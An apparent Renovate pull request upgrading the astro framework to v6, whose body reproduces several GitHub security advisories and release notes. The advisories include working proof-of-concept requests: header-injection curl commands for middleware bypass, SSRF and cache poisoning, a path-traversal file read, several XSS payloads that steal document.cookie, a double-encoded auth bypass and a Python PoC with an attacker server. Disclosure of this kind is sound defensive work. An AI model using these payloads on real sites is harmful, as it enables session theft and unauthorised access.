Skip to content

Update dependency astro to v6 [SECURITY]#56

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-astro-vulnerability
Open

Update dependency astro to v6 [SECURITY]#56
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-astro-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Oct 11, 2025

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
astro (source) ^4.0.5^6.1.6 age confidence

Astro's X-Forwarded-Host is reflected without validation

CVE-2025-61925 / GHSA-5ff5-9fcw-vg88

More information

Details

Summary

When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details

Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC
  • Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
  • nvm use
  • yarn run build
  • node ./dist/server/entry.mjs
  • curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'
  • Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass

CVE-2025-64525 / GHSA-hr2q-hp5q-x767

More information

Details

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

  • Middleware-based protected route bypass (only via x-forwarded-proto)
  • DoS via cache poisoning (if a CDN is present)
  • SSRF (only via x-forwarded-proto)
  • URL pollution (potential SXSS, if a CDN is present)
  • WAF bypass
Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97
https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(`${protocol}://${hostnamePort}${req.url}`);

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

[!NOTE]
The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

  • Latest Astro version at the time (2.16.0)
  • The Node adapter
  • Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware
  • A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});
  1. When tryint to access /admin the attacker is naturally redirected :

    curl -i http://localhost:4321/admin
    image
  2. The attackr can bypass the middleware path check using a malicious header value:

    curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin
    image
How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

  • x: is considered the protocol
  • Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

image
DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr
image

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

image

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website:
Capture d’écran 2025-11-03 à 22 07 14

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF:
Capture d’écran 2025-11-06 à 21 18 26
empty x-forwarded-host + the target host in the path

Credits
  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro Development Server has Arbitrary Local File Read

CVE-2025-64757 / GHSA-x3h8-62x9-952g

More information

Details

Summary

A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.

Details
  • Title: Arbitrary Local File Read in Astro Development Image Endpoint
  • Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • Component: /packages/astro/src/assets/endpoint/node.ts
  • Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
  • Attack Vector: Network (HTTP GET request)
  • Authentication Required: None

The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.

Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts

// Vulnerable code in development mode
if (import.meta.env.DEV) {
    fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
    // Production has proper path validation
    // ... security checks omitted in dev mode
}

The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.

PoC
Attack Prerequisites
  1. Astro development server must be running (astro dev)
  2. The /_image endpoint must be accessible to the attacker
  3. Target image files must be readable by the Node.js process
Exploit Steps
  1. Start Astro Development Server:

    astro dev  # Typically runs on http://localhost:4321
  2. Craft Malicious Request:

    GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1
    Host: localhost:4321
  3. Example Attack:

    curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
Demonstration Results

Test Environment: macOS with Astro v5.13.3

Successful Exploitation:

  • Target: /System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg
  • Response: HTTP 200 OK, Content-Type: image/png
  • Exfiltration: 303 bytes (100x100 PNG)
  • File Created: stolen-image.png containing processed system image

Attack Payload:

http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png

Server Response:

Status: 200 OK
Content-Type: image/png
Content-Length: 303
Impact
Confidentiality Impact: HIGH
  • Scope: Any image file readable by the Node.js process
  • Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE
  • The vulnerability only allows reading files, not modification
Availability Impact: NONE
  • No direct impact on system availability
  • Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component
  • File: packages/astro/src/assets/endpoint/node.ts
  • Function: loadLocalImage()
  • Lines: Development mode branch (~25-35)
Secondary Components
  • File: packages/astro/src/assets/endpoint/generic.ts
  • Impact: Uses different code path, not directly vulnerable
  • Note: Implements proper remote allowlist validation

Severity

  • CVSS Score: 3.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro vulnerable to reflected XSS via the server islands feature

CVE-2025-64764 / GHSA-wrwg-2hg8-v723

More information

Details

Summary

After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).

Details

Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: /_server-islands/[name]. These paths can be called via GET or POST and use three parameters:

  • e: component to export
  • p: the transmitted properties, encrypted
  • s: for the slots

Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.

This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.

How ?

By default, when a call is made to the endpoint /_server-islands/[name], the value of the parameter e is default, pointing to a function exported by the component's module.

Upon further investigation, we find that two other values ​​are possible for the component export (param e) in a typical configuration: url and file. file returns a string value corresponding to the absolute path of the island file. Since the value is of type string, it fulfills the following condition and leads to this code block:

image

An entire template is created, completely independently, and then returned:

  • the absolute path name is sanitized and then injected as the tag name
  • childSlots, the value provided to the s parameter, is injected as a child

All of this is done using markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.

Proof of concept

For our Proof of Concept (PoC), we will use a minimal repository:

  • Latest Astro version at the time (5.15.6)
  • Use of Island servers, with a completely empty component, to demonstrate what we explained previously

Download the PoC repository

Access the following URL and note the opening of the popup, demonstrating the reflected XSS:

http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22}

image

The value of the parameter s must be in JSON format and the payload must be injected at the value level, not the key level :

for_respected_patron

Despite the initial template being empty, it is created because the value of the URL parameter e is set to file, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameter s.

Credits
  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values

CVE-2025-64765 / GHSA-ggxq-hp9w-j794

More information

Details

A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI).

This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.

https://github.com/withastro/astro/blob/ebc4b1cde82c76076d5d673b5b70f94be2c066f3/packages/astro/src/vite-plugin-astro-server/request.ts#L40-L44

/** The main logic to route dev server requests to pages in Astro. */
export async function handleRequest({
    pipeline,
    routesList,
    controller,
    incomingRequest,
    incomingResponse,
}: HandleRequest) {
    const { config, loader } = pipeline;
    const origin = `${loader.isHttps() ? 'https' : 'http'}://${
        incomingRequest.headers[':authority'] ?? incomingRequest.headers.host
    }`;

    const url = new URL(origin + incomingRequest.url);
    let pathname: string;
    if (config.trailingSlash === 'never' && !incomingRequest.url) {
        pathname = '';
    } else {
        // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe
        // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts
        pathname = decodeURI(url.pathname); // here this url is for routing/rendering
    }

    // Add config.base back to url before passing it to SSR
    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context

Consider an application having the following middleware code:

import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false;  // simulate no auth
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

context.url.pathname is validated , if it's equal to /admin the isAuthed property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/

context.url.pathname returns the raw version which is /%61admin while pathname which is used for routing/rendering /admin, this creates a path normalization mismatch.

By sending the following request, it's possible to bypass the middleware check

GET /%61dmin HTTP/1.1
Host: localhost:3000
image

Remediation

Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this

        pathname = decodeURI(url.pathname);
    }

    // Add config.base back to url before passing it to SSR
-    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;
+    url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);

Thank you, let @​Sudistark know if any more info is needed. Happy to help :)

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint

CVE-2025-65019 / GHSA-fvmw-cj7j-j39q

More information

Details

Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @​astrojs/cloudflare adapter with output: 'server'. The built-in image optimization endpoint (/_image) uses isRemoteAllowed() from Astro’s internal helpers, which unconditionally allows data: URLs. When the endpoint receives a valid data: URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the original data: URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains / image.remotePatterns) and typical Content Security Policy mitigations.

Affected Versions

  • @astrojs/cloudflare ≤ 12.6.10 (and likely all previous versions)
  • Astro ≥ 4.x when used with output: 'server' and the Cloudflare adapter

Root Cause – Vulnerable Code
File: node_modules/@​astrojs/internal-helpers/src/remote.ts

export function isRemoteAllowed(src: string, ...): boolean {
  if (!URL.canParse(src)) {
    return false;
  }
  const url = new URL(src);

  // Data URLs are always allowed 
  if (url.protocol === 'data:') {
    return true;
  }

  // Non-http(s) protocols are never allowed
  if (!['http:', 'https:'].includes(url.protocol)) {
    return false;
  }
  // ... further http/https allow-list checks
}

In the Cloudflare adapter, the /_image endpoint contains logic similar to:

	const href = ctx.url.searchParams.get('href');
	if (!href) {
		// return error 
	}

	if (isRemotePath(href)) {
		if (isRemoteAllowed(href, imageConfig) === false) {
			// return error
		} else {
            //redirect to return the image 
			return Response.redirect(href, 302);
		}
	}

Because data: URLs are considered “allowed”, a request such as:
https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)

triggers a 302 redirect directly to the data: URL, causing the browser to render and execute the malicious JavaScript inside the SVG.

Proof of Concept (PoC)

  1. Create a minimal Astro project with Cloudflare adapter (output: 'server').
  2. Deploy to Cloudflare Pages or Workers.
  3. Request the image endpoint with the following payload:
https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==

(Base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)

  1. The endpoint returns a 302 redirect to the data: URL → browser executes the <script>alert() fires.

Impact

  • Reflected/Strored XSS (depending on application usage)
  • Session hijacking (access to cookies, localStorage, etc.)
  • Account takeover when combined with CSRF
  • Data exfiltration to attacker-controlled servers
  • Bypasses image.domains / image.remotePatterns configuration entirely

Safe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (including data: URLs), making it uniquely vulnerable.

References

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765

CVE-2025-66202 / GHSA-whqg-ppgf-wp8c

More information

Details

Authentication Bypass via Double URL Encoding in Astro
Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794

Summary

A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.

Fix

A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :

if (containsEncodedCharacters(pathname)) {
            // Multi-level encoding detected - reject request
            return new Response(
                'Bad Request: Multi-level URL encoding is not allowed',
                {
                    status: 400,
                    headers: { 'Content-Type': 'text/plain' }
                }
            );
        }

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: Remote allowlist bypass via unanchored matchPathname wildcard

CVE-2026-33769 / GHSA-g735-7g2w-hh3f

More information

Details

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});
Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code
import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

##### Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))
Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Severity

  • CVSS Score: 2.9 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: XSS in define:vars via incomplete </script> tag sanitization

CVE-2026-41067 / GHSA-j687-52p2-xcff

More information

Details

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElementdefineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars=>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

  • Session hijacking via cookie theft (document.cookie)
  • Credential theft by injecting fake login forms or keyloggers
  • Defacement of the rendered page
  • Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

withastro/astro (astro)

v6.1.6

Compare Source

Patch Changes
  • #​16202 b5c2fba Thanks @​matthewp! - Fixes Actions failing with ActionsWithoutServerOutputError when using output: 'static' with an adapter

  • #​16303 b06eabf Thanks @​matthewp! - Improves handling of special characters in inline <script> content

  • #​14924 bb4586a Thanks @​aralroca! - Fixes SCSS and CSS module file changes triggering a full page reload instead of hot-updating styles in place during development

v6.1.5

Compare Source

Patch Changes
  • #​16171 5bcd03c Thanks @​Desel72! - Fixes a build error that occurred when a pre-rendered page used the <Picture> component and another page called render() on content collection entries.

  • #​16239 7c65c04 Thanks @​dataCenter430! - Fixes sync content inside <Fragment> not streaming to the browser until all async sibling expressions have resolved.

  • #​16242 686c312 Thanks @​martrapp! - Revives UnoCSS in dev mode when used with the client router.

    This change partly reverts #​16089, which in hindsight turned out to be too general. Instead of automatically persisting all style sheets, we now do this only for styles from Vue components.

